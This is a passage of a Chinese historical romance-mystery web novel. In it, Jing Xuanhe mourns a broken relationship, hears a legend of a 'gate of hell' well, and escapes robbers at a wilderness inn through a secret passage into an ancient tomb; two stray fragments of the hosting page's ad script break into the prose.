那时的他们,是多么笃定,以后还有无数个七夕节在前方等待着他们,他们也能一起过许多生日,可是如今呢,却是劳燕分飞,互为仇敌。 他们之间完了,既然如此,何必再留恋呢? 不过是徒增烦恼罢了。 景暄和突然狠下心来,想砸了那金鱼,就像对待他送她的玉簪一样。 她将那玉金鱼高高地举起,却怎么也狠不下心,只能轻轻地放下。 算了,这是他们之间的问题,干这无辜的金鱼何事呢? 她强迫自己从汹涌的回忆中抽离出来。 反倒安慰徐芃敏说:“敏敏,你就别为我担心了。”顿了顿,道:“会好起来的,我总觉得,人若到了低谷,便没有什么值得害怕了,因为之后无论走哪一条路,都是向上的路,不会比现在更糟糕了。” “景姐姐,你能这样想就最好了。”徐芃敏虽不了解他们之间发生的事情,可是看到景暄和沮丧的神情,也十分心疼,但愿她能从伤痛中走出来。 马车行至中途,到了一山清水秀的所在。 景暄和叫停了马车:“此处是愿幸坡么?” 车夫点头说:“正是!” “我在这里有一重要的事情要办,请等我半个时辰吧。” 她的目光望向了远处,淡淡的,如烟雾一般。 126. 地狱大门 城门上,一道颀长的身影默默地伫立在那里,女子的身影早已隐入路的尽头,可他还是站在那里,任风扬起他的衣袂。 庄炎轻咳了一声,给他披上了披风。 “万大人,她已经走了,我们要不回去吧?” 万灵安的目光中带着死一般的寂静,他沉默了半晌,忽然道:“互为仇敌,不死不休么……” “万大人,你在说什么?”庄炎一愣。 “做不了爱人,就做仇敌,也挺好的。”万灵安脸上仿佛带着一种偏执,他缓缓道:“起码比互相忘记要好。” 话虽如此,可他还是呕出了一口鲜血,染红了衣衫。 “大人!”庄炎慌乱道。 万灵安只是抬了抬手,擦了擦嘴角的猩红,说:“无妨。” “怎么会无妨呢?我爹说过,您大病初愈,切记不要吹风,可是今天却在城楼上吹了一早上的风……这是送别嘛,她又不知道,简直是要您的命。” 庄炎难得说这么多话,即使他知道自己无力阻止。 “可是,为什么会如此呢?”庄炎皱眉道:“当初您已经做了那么周密的布置,影卫的通信弹也放到了天上,我们才点火的,到底是谁杀了影卫?若抓不到那人,恐怕景大人这辈子也不愿意见您了……” 万灵安的目光一沉,又如轻飘飘的羽毛一般,划向了天际。 “河边村活下来的人中,除了那个痴傻的女孩,便是他了吧。”他淡道。 “他?”庄炎蹙紧了眉头,“您是说景大人的手下阿呆么?听人说他后背被烧伤了,如今正在家中休养呢,好像连床都下不来。即使我们去找他,证据也全被大火给湮灭了。” “没有证据嘛……”万灵安喃喃道,又带上了一丝自嘲的笑:“看来上天果然连这最后一丝温暖也不想留给我了,往后的前路,难道我能倚仗的就是无边的权力了吗?” 他将一只手摊开,手上却空空如也。 “有时候我不禁想问上天,权力到底是什么,为什么我看不见,也摸不着?” 庄炎不知如何回答这个问题,只是叹了口气,“魏福忠已死,圣上势必要扶持新的宦官上位,可是那位置却空悬下来了,大人还是早做打算吧,这世界上不能再有第二个魏福忠了。” 他顿了顿,“自从魏福忠倒台后,黎正似乎也销声匿迹了,没人知道他去了哪里,与之相对的是,城西的‘竹隐居士’却声名鹊起,据说那人有观星之才,还能预知未来,消除灾祸,很多百姓都对他趋之若鹜,他的名声越来越大,甚至惊动了宫中。万大人,您说这所谓的‘竹隐居士’,是不是就是黎正?” “每个人都有每个人的路要走,但我相信总有一日,我们会有交集的,也许就在不远的将来。”万灵安徐徐道。 “那么景大人呢,如今她去了望春县剿匪,听说那里盗贼横行,十分危险,您会放手吗?”虽然不想提起,庄炎还是不得不说道。 “起码我知道她去了哪里,这就够了。”万灵安望向了远方,那是望春县的方向。 也是她所去的方向。 *** 愿幸坡是一处荒地,距京城很远,秋日的天气有些寒凉,青草的草尖也开始泛黄,让人不禁想起魏晋曹丕所写的“秋风萧瑟天气凉,草木摇落露为霜”。 徐芃敏与景暄和相携着来到一处孤坟,这坟茔没有名字,只是上面却并不脏,看来是经常有人过来打扫的,周边也没有杂草。 只是谁会记得这无主的孤坟呢? 景暄和说:“敏敏,这里埋葬着一位我很敬重的人,我虽然不能告诉你他的名字,可是,他真的对我很重要。” 徐芃敏点点头,她一向不是打破砂锅问到底的人,既然她不想说,一定是有什么难言的苦衷。 景暄和蹲下去,将酒打开,倒了一杯,放在他的坟头。 “景姐姐,我在那边等你,有什么事情随时叫我就好。”徐芃敏贴心地说,将空间留给她一个人。 “多谢。”景暄和微微点头。 她采了许多野花,放在坟边,终于,轻声说:“于大人,我今天来是想告诉您一个好消息,您的大仇已报,魏福忠终于伏法了,虽然,我们也付出了很沉重的代价。” 这里埋葬的便是于歌笛的父亲于景涟。 一个真正的忠义之士,他有着最纯粹的灵魂与对大明最崇高的理想,然而,英雄的一生却被皇权所辜负,只能无言地埋于此地。 之前庄志兴告诉她,于景涟死后,只剩下几根残碎的骨头,他便将他的遗骨收集起来,在愿幸坡建了一座无名之坟,他也时时过来祭奠自己的好友,所以这坟茔才光洁如新。 如今要离开顺天府,她想来看看于景涟大人,哪怕是代替于歌笛而来。 “奸佞已除,可是我却一点也高兴不起来,我真的很迷茫,前路仿佛笼罩着大雾,未来还有希望吗?”以前的她,拥有满满的干劲,而如今却像是没有了目标,虽然她即将去望春县剿匪,可是她心里清楚,这也许只是为了逃避罢了。 一瞬间,她觉得自己好像什么都没有了。 爱情一团乱麻,仕途也落入了低谷。 皇上将她贬为了从四品镇抚使,虽然只降了半级,可是她的心里却像被堵住一般。 “姑娘,看来你有很多烦心事啊。”她的耳边突然传来老者的声音,如岁月尘埃中一抹旧日的余晖。 抬头一看,只见一银发老者杵着拐杖走来,他的背驼的厉害,牙齿也几乎掉光了,可是眼神却很有力。好像穿透了时间,让人不由得拥有安定的力量。 老者抚了抚胡子,款款道:“前路如何,谁也不知道,人活一世,无数的人想出名,想出头,可是在史书中,他们的一生最多也不过是一页罢了。比起前路,我倒更想问问你,当下与此刻,你想做什么呢?” “当下,此刻?” 老者点头,“不积跬步,无以至千里,有时候不用去想前路,只用把当下做好,把握住此刻,便足够了,若真的能做到这一点,那么前路必定不会差,起码,不会让你后悔。” “可是,这次却不一样,我真的很累,我觉得自己之前为之努力过的好像全都错了,那个让 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景暄和也淡然一笑,于景涟大人这一辈子帮助了很多人,所以这些人才如此地记挂他,从这个角度来说,他不算白来人世间走一遭。 “姑娘,看你行色匆匆,应该是要继续赶路吧,敢问你去哪儿?” “我要去望春县,好像离此处还有一百里地。” “望春县?”老者似乎有些惊讶,“那里如今在闹匪患,我只看到从那里逃出来的,大家都不敢往那个方向走,我看你虽和另一位姑娘结伴而行,还是小心为上吧,听人说,那土匪头子正四处搜寻良家女子,特别是美貌的女孩子,那群土匪就想抓去给他当压寨夫人呢。” “竟有此事?他们竟然如此无法无天?”景暄和皱眉道。 “朝廷派来一个白面书生,可是他空有谋略,底下的那些人却不听他的,即便如此,他也尽力与匪徒博弈,如今正僵持着,难分高下呢。” 景暄和心想,老者口中的“白面书生”便是汪常青了吧。 看来去到望春县的第一步,并不是剿灭匪徒,而是让上下团结一心,力气往一处使。 最后,她望了一眼于景涟的墓碑,也许他知道若是这藏宝图现世,一定会引发争端,所以才将图的秘密带到了坟墓中去,又觉得这么大笔的宝藏就这样隐于世间有些可惜,便留下了“水入归墟长不枯,稳卧一叶凌苍虚。”的提示,静待有缘人来解谜。 老者很热心地从家中拿了一份望春县的地图给景暄和,此去山高水远,荆棘丛生,让她不要迷路了。 景暄和将地图展开,目光却被上面的一处地点吸引,不禁眼前一亮。 “老爷爷,您看这里,”她的手指向了那处,“望春县有一口神井,竟叫‘小归墟’?” 她的心情突然有些紧张,难道“水入归墟长不枯”便是指的此处?! 老者点点头,“不错,可惜这片山林已被匪徒占领,只有剿匪成功才能一探究竟了。传说归墟的尽头,便是地狱之门,所以那井才这么多年都被封住,无人敢靠近呢。” 127. 诡异客栈 “地狱之门?”景暄和奇道,不禁重复了一遍。 “是啊,传言打开了那扇门,便会放出来自地狱的妖魔,这世间将堕入黑暗,永无宁日。”老者嘴角一撇,十分严肃地说。 “怎会有如此的传闻呢?我一直都以为,‘地狱’的概念只存在于神话故事中,没想到望春县还有这样诡谲的传说。” “这还要从望春县的地貌来说,整个望春县北窄南宽,若从天上俯视来看,就像一口落地的古钟,所以自古就有这些神神鬼鬼的传说。因为像佛寺中的古钟,所以人们还说,此地便是神仙压下的一口钟幻化而成,就是为了镇压来自地底的妖邪。” 竟越说越玄幻了……景暄和又望向了地图,果然如老者所说,像古钟一般。 她又问:“那被称为‘小归墟’的神井,又是怎么回事呢?” 老者杵着拐杖,似乎陷入了回忆:“这也是我母亲跟我说的,许多年前,有一进京赶考的书生无意中路过望春县,他又累又渴,终于在山林中看到了一口井,如获至宝,他想去打水,可那井却是口枯井,书生一不小心竟然掉下去了,他叫天天不应,叫地地不灵。” 景暄和目不转睛地听着老者讲话。 老者继续道:“墙壁上似乎有一扇门,书生缓缓地推开门,居然看到了恍若末日地狱的景象——有人被锁链绑着,大卸八块,还有人被硬生生地扔下了油锅,总之便是刀山火海、抽打折磨,更有那牛头马面,阴森恐怖……” 景暄和倒吸了一口凉气,“后来呢?” “那书生赶忙关上了那道门,自己却晕倒了,再醒来,却发现自己正靠在枯井边,他吓得差点丢了魂魄,赶忙跑走了,后来,他将这件事跟村民们说了,众人大为惊恐,从此之后便将井给封住了,取名为‘小归墟’,再也不要人靠近。” 景暄和静静地听完老者的故事,只觉得大为震惊。 “那这书生之后的境况如何呢?” “没过多久,这书生竟生了一场大病,病来如山倒,不久便奄奄一息了,在他死前,他嘴里一直念叨着:‘别过来……别过来……’,那样子似乎被鬼怪缠身,无法挣脱。” “这么可惜,那么他岂不是英年早逝?” “谁说不是呢?世人都说就是因为他打开了地狱的大门,才落得如此凄惨的下场。”老者顿了顿,“所以姑娘,如果你非要去望春县,我还是那句话,请千万当心,珍重自身才是最要紧的。” 景暄和点点头,沉声道:“多谢您的提醒!只是我一向不信这些神鬼传说,只想着能剿灭那伙匪徒便是最大的愿望。” “这伙土匪最初不过是些流民罢了,后来聚集起来,落草为寇,竟成了气候,听说匪首是一名青年人,只是他很神秘,一直不露脸,平日里也只是戴着一个鬼面具,无人见过他的样子。” “那他姓甚名谁,是何方人士呢?”景暄和有些好奇,只想着知己知彼才能百战百胜。 没想到,老者却遗憾地摇了摇头,“不知姓名,更不知他的籍贯,只是他手段高明,又智计百出,所以那些匪徒们都对他言听计从,只是有一点,便是他十分好色,最喜欢美貌的小姑娘,只要被他抓去,便是有来无回,如入魔窟啊。” “可恶!”景暄和不由得有些愤怒,更想与那人较量一番了。 “待你从望春县回来后,何不去我家喝酒?小老儿家别的没有,美酒可是一大堆,更别提那四十年的女儿红,还未给人喝过呢。”老者很热心地提议道。 景暄和微微一笑,“好,那咱们就算说好了!若我能成功归来,定去拜访您!” …… 话别老者后,景暄和与徐芃敏继续踏上了前往望春县的道路。 在马车上,景暄和还沉浸在老者的故事中,神情有些怔忪。 见她不说话,徐芃敏问她:“怎么了?怎么魂不守舍的?” 景暄和还在发呆,没有回她。 徐芃敏将手在她眼前晃了两下,景暄和这才如梦初醒一般。 “啊,什么?”她反问徐芃敏。 “没什么,只是见你神思恍惚的样子,那老者是说了什么奇怪的话吗?” 景暄和不由得问徐芃敏:“你相信这世界上有地狱存在吗?” 徐芃敏一愣,“景姐姐,怎么会如此问?” “刚才听了一个故事,那老爷爷说望春县有一口井叫‘小归墟’,那是通往地狱的入口。” 景暄和将那个故事原原本本地与徐芃敏说了,徐芃敏也很惊异,连连感叹世间竟有这样的地方。 出乎意料的是,她倒觉得很有意思:“怪不得我爹要我出来历练,若是一直困在家中,怎会听到如此有意思的故事呢?景姐姐,若你成功剿匪,想去那‘小归墟’一探究竟,一定不要忘记叫上我!” “好,一言为定!” 外面突然传来嘈杂的声音,好像有人骑着马靠近,马蹄声越来越急促,就快要逼近她们。 景暄和握紧绣春刀,徐芃敏也抽出弓箭,做好准备,就怕来者不善。 那马的脚步似乎越来越近,仿佛就在身后。 “吁——” 马停了,有人大声叫她:“景大人!景大人等等我们呀!” 竟是熟悉的声音。 景暄和让马夫停下,掀开帘子,却见茗泉和若薇正共骑着白马流星,着急忙慌地追赶了过来。 “你们怎么来了?”她微怔,长须了一口气,还好不是敌人。 茗泉擦了擦额头上的汗,急促道:“我和若薇商量了一下,还是有些放心不下您,流星也在马厩中叫唤了半晌,好像也很担心您呢,我们便自作主张地跟来了,景大人请别怪罪啊!” 若薇点头说:“茗泉的骑马技术实在是差劲,横冲直撞的,我们还怕追不上您,一路上紧赶慢赶的,还好赶上了!” 徐芃敏问道:“这就是你新收的丫鬟和小厮么?” 景暄和说:“若薇是新来的丫鬟,她为人稳重,很是靠谱,而茗泉却是我府里的 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“其余的话以后再说,我们还是快上路吧,听人说路上不太平,天黑了就更不好了。”景暄和看了看天色,提议道。 一路上,只觉得山林树木越来越多,流民也愈发多了——有人正拖家带口地赶着驴车往反方向走,还有人杵着树枝当做拐杖,面黄肌瘦的,最可怜的是一个衣衫褴褛的母亲牵着五、六个小孩子缓缓前进,景暄和看他们可怜,便给了这母亲几个馒头,他们连连道谢。 又过了几个时辰,已是夕阳西下的时分了。 当最后一缕阳光也消失后,林子中冷飕飕的,偶尔还能听到几声野兽的嚎叫,有些瘆得慌。 他们决定找一个客栈住下,老者的地图还在手边,距离此处不远正好有一个客栈。 月色幽暗,如昏灰的鬼火,林子中影影绰绰,风一吹,树枝乱晃,洒下摇摇晃晃的黑影,如蛇在狂舞。 客栈就这样映入了眼帘,里面只点了几盏灯,烛火摇曳,有些鬼魅。 风越来越大,冻得他们耳朵通红,耳边似乎只听到风声,其他声音已经完全被风给掩盖了。好不容易来到客栈前面,景暄和一行连忙去敲大门,却无人响应。 “有人吗?”景暄和叫了一声。 院子里似乎空荡荡的,只听见风在呜咽,面上潮湿,似乎有雨点落了下来。 “景姐姐,难道里面没有人吗?”徐芃敏搓了搓手,哈了口白气道。 “可是如果真的没人,又怎会点烛火呢?”景暄和有些疑惑。 “难道是……鬼火?!”茗泉突然说。 若薇轻拍了他一下,似乎打了个寒颤,“好你个茗泉,大晚上的可别吓人了!” 景暄和将耳朵贴在门边,仔仔细细地听里面的动静。 “哒、哒、哒……” 好似有脚步声传来。 突然,鼻尖闻到了奇怪的味道…… 那是…… 血腥气。 128. 荒野客栈 门倏忽间露出一条缝,一个满是皱纹的老妇探出头来,她脸上有一道长长的胎记,从左眉一直到右脸。只见她左手抓着一只正在滴血的公鸡,右手提着一盏油灯。 她放下那灯,抬起手,指了指自己的喉咙,打了一个手语。 原来这老妇竟是哑巴。 “抱歉,请问今日这客栈还有空房吗?”景暄和问道。 老妇点了点头。 她打开门,招了招手,意思是让他们进去。 “那就多谢您了!有劳了。” 景暄和一行跟着老妇往客栈走去,她走路极慢,看得出来一只脚还是跛的。 怪不得他们等了半天也没人答话,原来是她说不出话,外加上行动缓慢,才耽搁了许久。 客栈的大门被打开,冷风吹入室内,连落叶都被吹进去了,一派萧瑟的景象。 数道打量的目光落到了景暄和与徐芃敏身上。 有三桌客人正在吃饭,一桌神色不善,长得很凶,看起来就很不好惹,另一桌是士子打扮,有些弱不禁风,第三桌是两名道士,颇有世外高人的出尘之感。 他们似乎很惊讶,这大晚上的荒村客栈竟来了两名如此美貌的女子,实在是与这肃杀的氛围不匹配。 这时,车夫老杨将马车停好后,也来到了客栈中,他长得五大三粗,颇有些江湖人的豪迈。 除了老妇人外,还有一名店小二,只是他有些木讷,还有口吃的毛病。 “客……客官们,你们要……要吃什么?”他很艰难地吐出这几个字。 徐芃敏说:“来一盘酱牛肉,醋溜白菜外加五个白面馒头。” 店小二擦了擦汗,说:“不好……不好意思,没有。” 徐芃敏又点了些常见的菜,店小二都摇了摇头。 “那你们有啥呢?”她干脆让店小二自己来说。 他指了指别的客人盘中的菜,说:“只有……只有烧鸡公了。” 徐芃敏无奈地耸耸肩,道:“好吧,就要这个了,馒头总有吧?” “只有……只有窝窝头了。” 景暄和说:“那就这样吧,多谢了。” 吃饭的时候,景暄和默默地关注着四周的一切,这客栈十分古旧,角落处还结着蛛网,难道是老妇与店小二疏于打理,才让这客栈如此残破吗? 其他两桌吃完便回房间了,只留下第一桌的客人,他们自己带了酒,吵吵嚷嚷的,喝得脸都红了。 不多时,便开始谈些有颜色的笑话,又说京城里哪家的花魁漂亮,哪里又来了新的姑娘。 其中一个刀疤脸不知怎的就将目光瞟向了景暄和他们这儿,他打了个酒嗝,道:“哎,醉红楼的姑娘再漂亮也没有这儿的两位好看啊!” 其余几人也附和着,酒壮怂人胆,他们便往景暄和这桌走来。 她乌发垂下,眉眼也垂下,似乎没听到他的污言秽语,只是在灯光的掩映下有种难得的柔和,愈发衬得她肌肤如玉,实在是让人心痒。 “反正这里荒郊野外的,你们就算喊破喉咙也没用,姑娘若是陪我们喝一杯,也不算辜负了这良辰美景啊。”刀疤脸脸上带着猥琐的坏笑,说着就要去碰景暄和的手臂。 谁知她动作更快,一下就将他手臂抓住,反手按在桌子上,“看来你是不想要你的手了?” 刀疤脸吓得连忙喊道:“女侠饶命,女侠饶命啊!” 他的同桌也大惊,没想到这姑娘还有功夫在身上,真是不可小觑。 “如果我不饶你,你又如何呢?”她冷冷道,愈发用力地按住他的手臂,下一秒就能扭断。 那人痛的冷汗直冒,“女侠饶命,我再也不敢了啊!” “记得你的话,要是再让我看到你调戏良家女子,就算到天涯海角,我也会扭断你的手!” “知……知道了!”刀疤脸呼喊道。 *** 因为客栈很小,只剩两间房了,景暄和便和徐芃敏、若薇一间,而茗泉和老杨一间,也算互相有个照应。 夜间的风愈发大了,呼呼地吹着,打在窗棂上,发出阵阵杂音。 三人并肩躺在木板床上,幸亏床很大,也不算挤,只是风声太大,让人有些心惊。 若薇已经睡着,还打起了小呼噜,看来是个随遇而安的性子,徐芃敏却怎么也睡不着,她侧过头,看着景暄和闭着眼睛,只是呼吸声告诉她,她也没有睡着。 “景姐姐,你还醒着么?”她低声问,怕将若薇吵醒,特意将声音放得很轻。 景暄和睁开眼,眼中有些迷糊,苦笑了一下,意思是她也睡不着。 徐芃敏道:“明天便会到望春县了,总觉得心里没底,我在走之前还听到了万大人的消息,他好像又生了一场大病,最近身子很不好。” 景暄和呼吸一凝,历史上记载,万灵安是在魏福忠死的那一年去世的,而魏福忠是被新皇除掉的。可是如今,魏福忠却死于朱懿德之手,他的死亡提前了整整七年,新皇并未出现。 仿佛有许多东西被改变了,那么万灵安的命运,又会如何呢? 他会不会也在这一年死亡,亦或是七年之后,还是说,他会走向完全不同的结局? 景暄和突然自嘲地一笑,他是死是活,关她什么事呢?他们已经没有任何关系了,又何必在意那么多,无端的心烦。 徐芃敏很认真地观察了景暄和的神色,却见她眼神复杂,抬头望向天花板,懒懒地说:“我才不在意。” 她注意到,景暄和口中虽说“不在意”,可是神情却好似凝住了,仿佛在认真听她说话。 “我总觉得,万大人不是一个铁石心肠的人,他虽然大权在握,却做了许多有利于百姓的好事,譬如之前的盐课减税,还有南方的赈灾,这样的人,不可能会置全村百姓性命于不顾的……” “你是不是收了他的好处,为什么一直帮他说话?我说服不了自己,也不能装作什么都没发生,高大虎他们,不能白死!河边村的百姓,也不能白死!必须有人对他们的死负责!” “会不会是有人栽赃陷害,就为了离间你们的关系呢?”徐芃敏说。 “那么那个人是谁呢?如果他是清白的话,那个答案,他一定会给我的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>景暄和干脆将被子捂住头,转过身去。 徐芃敏知道多说无益,不觉叹了口气。 夜半时分,又下起了雨,雨点越下越大,还伴着阵阵惊雷,弥漫出凉薄的狠意。 门外似乎有脚步声,景暄和睡得很浅,只见两道黑影覆在了门上,那人将一只竹管插了进来,不一会儿,便有白气从里面冒出。 那是……迷药! 她捂住口鼻,赶忙推醒徐芃敏和若薇。 她们睡得迷迷糊糊的,骤然被弄醒,都有些找不着北。 指了指门口,她们似乎意识到发生了什么,急忙也捂住口鼻。 景暄和灵机一动,突然看到房中有一个柜子,便要她们全部起来,躲到柜子里去。 黑影见房中没有动静了,大着胆子推开门。 从柜子缝隙里,景暄和看到,居然是掌柜的老妇人和店小二。 老妇人此时身轻如燕,原来她的跛腿全是装的,而店小二也褪下了老实的表皮,眼中带着一抹精光。 他们手中皆握着长刀,看起来对谋财害命的事情已经驾轻就熟了。 “奇怪,怎么没人?” 店小二的口吃竟也是装的。 偌大一个客栈,还有什么是真实的? 他又说:“我们已经将其余的人全都绑了,明天一早便全都杀了喂狗,可是这三名女子,怎么却不翼而飞了?我还想着,杀了那两名美人实在是可惜,不如给我玩玩,也算是坐享齐人之福啊!” 老妇戳了他额头一下,意思是臭小子,真会做梦! 她们捂住嘴,拼命不让自己发出声音,只是还好,茗泉和老杨暂时没有生命危险,可也要快点想办法为好。 老妇目光在房中转动了一圈,终于落在了衣柜上。 景暄和心想,其实现在也不是不能推门而出,只是她们的武器全在外面,如今相当于赤手空拳,胜算不能保证,而且若薇还是手无缚鸡之力的弱女子,不能保证她的安全。 那二人对视了一眼,抄起刀子,往衣柜而来。 景暄和后背抵住柜子,突然身后一空,原来柜子后面竟有一道密道! 三人皆是感到惊讶,没想到这看起来古旧的客栈还有如此的空间。 她们立马隐入密道中,而密道的门也神奇地关上了。 等他们打开柜子门时,里面空空如也,就像什么都没有发生过一般。 三人顺着密道向前走,空气逐渐稀薄起来,里面黑乎乎的,偶尔还听到老鼠在脚边爬过。 徐芃敏大叫了一声,她平生最怕老鼠了,没想到这密道竟如此恐怖。 还好隔音效果很好,没有惊动外面的人。 景暄和摸出腰间的打火石,终于有了点火光,让她们的心稍微安定了些许。 三人走了许久还不到头,若薇脚有些酸了,提议能否坐下休息一炷香的时间。 谁知她刚想坐下,却被绊倒了,她“哎呦”了一声,到底是什么东西横在路中间? 景暄和将打火石对着那“东西”看了一眼。 却发现是三具死去多年的白骨。 129. 密室古墓 若薇差点尖叫了一声,死死地捂住嘴巴,景暄和却蹲下来,仔仔细细地查看。 这三人死状可怖,皆是被砍头而死,头与身子不在一起。 他们的周围散落着金银珠宝,在黑暗中竟熠熠生辉。 徐芃敏问:“是不是刚才那两个人杀的?没想到他们竟残忍至此?” 景暄和却摇摇头,十分肯定地说:“不是的,他们虽然可恶,但这几人却不是他们杀的。” 她们有些惊讶,静待她接下来的发言。 景暄和说:“刚才我们躲在柜子里,无意中发现了这密道,但他们却没有继续上前,看得出来他们并不知道这密道的存在。还有一点,我注意到,在我们吃饭的时候,士子的那一桌找掌柜要木勺,可她却像是不熟悉厨房的摆设,在里面找了许久才拿出木勺给他们,所以我猜想,这两人是最近才占了这荒野客栈,开始做些谋财害命的勾当。” 徐芃敏疑惑道:“这两人是黑风寨的土匪吗?” 如今望春县的一半已经被黑风寨攻破,他们盘踞山野,很是嚣张,而另一半还在朝廷手中。 景暄和摇头说:“不,黑风寨一向不会单独行动,平常都是有组织地与朝廷对抗,以寨主马首是瞻,而这两人看起来就是普通的山匪,只是我们运气不好,撞上了而已。” 景暄和一行为了不打草惊蛇,一路上都换上了普通的衣裙,就是不想让对面黑风寨的土匪发现行踪,谁知道却碰到了这两个匪徒。 “景姐姐,你还记得昨天想调戏我们的那些汉子吗?我还以为他们也是黑风寨的呢,没想到他们看起来那么威风,也能着了这两个匪徒的道。” 景暄和哈哈一笑,“我早就知道他们不是土匪了,不出意外的话,他们是镇远镖局的镖头。” “镇远镖局?” 景暄和解释道,从进客栈她就发现院中停着几辆马车,其中两辆上面插着旗子,旗子上有豹子的图案,她以前查案时和他们打过交道,自然知道这些人的底细,以前的老镖主叫王剑扬,也是个行得正坐得直的好汉,平日里管理属下即为严厉,只可惜数月前去世了,由他的儿子接过了镖局,没想到却管理不利,这几个汉子应该是新来的,居然敢调戏良家妇女,实在是辱没了镖局的名头。 “原来如此,那么眼下的这几具尸首,又是何人呢?”徐芃敏问道。 景暄和指了指这三具白骨,说:“从盆骨来看,女性的骨盆通常更宽,而这三人很明显是男人,他们肢骨较为粗壮,也能佐证这一点。根据他们牙齿的磨损程度上看,应该都是四十岁左右的中年人,白骨风化严重,死亡时间在二十年左右。” 她顿了顿,说:“根据骨头处的断口来看,凶手应该是用了大环刀,这刀必定十分锋利,力道极大,才会造成断口处如此整齐!” “那么这客栈之前的主人是谁呢?是不是那人杀的呢?” “等我到望春县以后,要去翻翻当地的县史,看能不能查到些什么。至于是不是客栈主人杀的,或者有什么隐情,还需要更多的线索。” 徐芃敏点点头,捂住胸口说:“真是没想到,这荒野客栈还发生过这么血腥的事情。” “庙小妖风大,池浅王八多。”景暄和无奈地笑了笑,说:“真是自古以来的真理啊。” 景暄和最后对着这三具白骨照了照,突然发现这三人的脚指头有些奇怪,和寻常人不同,她再次确认了一下,以免自己看错了。 徐芃敏问:“有什么不妥吗?” “不妥倒是没有,只是你有没有注意到,这三人应该是亲戚关系,他们的脚居然都是六指!我还是第一次看到有六指的人呢。” 经她这么一说,徐芃敏也看到了,她揉了揉眼睛,数了好几次,心中暗暗称奇。 她们又往前面走,路越来越难走,有时甚至要匍匐着前进,三人都有些狼狈,可是心中隐隐地又有些想知道前方到底是什么。 突然发现了一间石室,这石室大门紧闭,在昏暗的灯光下像伫立的巨人,两边有两只高大威武的镇墓兽,人面兽身,凸睛竖眉,獠牙外突,十分的狰狞可怖。 在大门的两边还有斑驳的壁画,因为年岁太长,色彩已经脱落,隐约看到是舞女们在台上跳舞,下方坐着一喝酒的男人,只是那男人的脸却被人用石头给划了许多痕迹,已经看不出样子了。 这男人应该就是墓主人了。 若薇拿出手绢擦了擦脸,说:“景大人,我们……真的要进去吗?” 她两只手绞着手绢,看出来心中有些紧张。 “都说古墓中有神兽坐镇,想来凡人也难以接近,今天我们却实实在在地站在了这里,不得不说是一场奇遇,可是,会不会有什么危险啊?” “既然上天让我们来到了这里,一定不能白来,若薇,如果你害怕就站在外面,如果有什么危险,有我在前面顶着。” 景暄和一向是个胆大的性格,对这些未知的事物充满好奇心,可如果若薇不适,她也不会强求她和她们一起进去。 谁知若薇咬咬牙,说:“来都来了,我也和你们一起去吧。” “好。”景暄和拍了拍她的肩膀。 “那我们这便推门吧。”徐芃敏提议道。 景暄和深吸一口气,猛地推开那门,灰尘散落下来,她举起火石一照,石室的中央居然摆放着一只厚重的棺材,这棺材已经很有些年头,起码有好几百年了,上面雕刻着代表阴阳的伏羲女娲和象征长寿的白兔,可见墓主人的身份尊贵。 棺材已经被推开,里面的珠宝也散落了一地,一片狼藉,地上有一具干尸,上面的衣服布料华贵,却不是大明的样式,应该便是墓主人了。 “没想到这伙盗墓贼竟将墓主人丢在了外面,而他们也死于非命了,不知是不是报应,只是不知道,杀死他们的人又落得了怎样的下场?”徐芃敏叹了口气。 景暄和的注意力却被另一点吸引,她缓缓道:“我总在想,这荒野客栈为何会有通向古墓的密道呢?” 徐芃敏回忆了一下来时的道路,说:“刚才我们来的那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 条路很崎岖,有的地方还很低矮,看起来像是后来人工挖凿的样子,可能是有人无意中发现了这古墓,又想着这客栈和古墓的距离不远,便盘下了客栈,又凿出了这条路,想着以后能来这古墓取财宝,谁知却再也没有过来了,在二十年后,居然被匪徒所占,成了一家黑店。” 景暄和摸了摸下巴,“有道理,只可惜物是人非,居然被我们发现了这里,也算是冥冥之中,自有天意吧。” 她们又在墓室中发现了另一条路,看起来像古时候的盗洞,顺着那条路爬出去,不多时便豁然开朗,当她们终于看到了久违的光亮,赫然发现已经出来了。 深深地嗅了一口新鲜的空气,三人都觉得如释重负。 晨光熹微,草木好似有露珠凝在尖端,微风阵阵,泥土的清香抚平了她们心灵的紧张。 “太好了,终于出来了!”若薇欣喜地说,“刚才我的心脏还砰砰直跳,现在倒是舒坦了不少!” 景暄和与徐芃敏让若薇躲在外面,二人埋伏在客栈的附近。 她们之前将武器都藏在马车的底部,如今马车在客栈内,不过那隔层很精巧,匪徒们应该没有发现。 她们眼尖地看到老妇和店小二将客人们绑了起来,还将他们嘴里塞上破布,众人面色惊恐,可是身上又使不上力气,只能被他们鱼肉。 店小二已经开始磨刀霍霍,旁边还有一个硕大的盆子,里面烧起了滚烫的开水。 老妇脸上却高兴不起来:“那三个丫头不可能凭空消失,一定是有什么暗门我们没有发现的,等下再仔细地搜寻一下客栈,不要放过一点蛛丝马迹。” “不过是三个女人罢了,能掀起多大的风浪?彭姨,你还是别小题大做了。”店小二慢悠悠道,“这些人看起来不怎么样,没想到都是肥鱼,特别是这几个士子,虽然手无缚鸡之力,却有这么多的盘缠。” 他一脸不屑地望着他们,吹了一声口哨道:“只可惜,有命拿没命花啊。” 士子们战战兢兢,都不敢直视店小二。 另几名长得很凶的人愤怒地瞪了店小二一眼,又无计可施。 如景暄和所说,他们原是镇远镖局的镖头,平日里威风得紧,谁知却虎落平阳被犬欺。 被叫做“彭姨”的老妇却还是心事重重的,“昨日的女子看起来是有功夫在身的,她们虽然穿的如寻常女子一般,可是那气度却很特别,样子又极美,不像是普通的女人。” “别自己吓自己了!就把心放肚子里吧。”店小二又吹了一声口哨。 磨好了刀,他冷笑道:“接下来,就看看这刀锋不锋利了吧。” 景暄和一眼就看到,店小二使的刀上面有九个铁环,定是斩杀那密道中三人的凶器无疑了! 只是根据她的推测,店小二和老妇并不是二十年前杀那三人的凶手,他们又怎会有这刀呢? 难道是她的推测错误了? 他刚抬手,却见一个滑腻的黑影一闪而过,瞬间便咬了他的腿一口,竟是一条黑底彩条纹的小蛇! 130. 初入县衙 店小二哎呦一声,捂着腿,表情似乎十分痛苦的样子。 老妇赶忙过来扶他,谁知那小蛇动作极快,连带着她也咬了。 阿彩的信子上被景暄和涂了麻药,二人齐齐倒地,却见景暄和带着徐芃敏从埋伏处走出来。 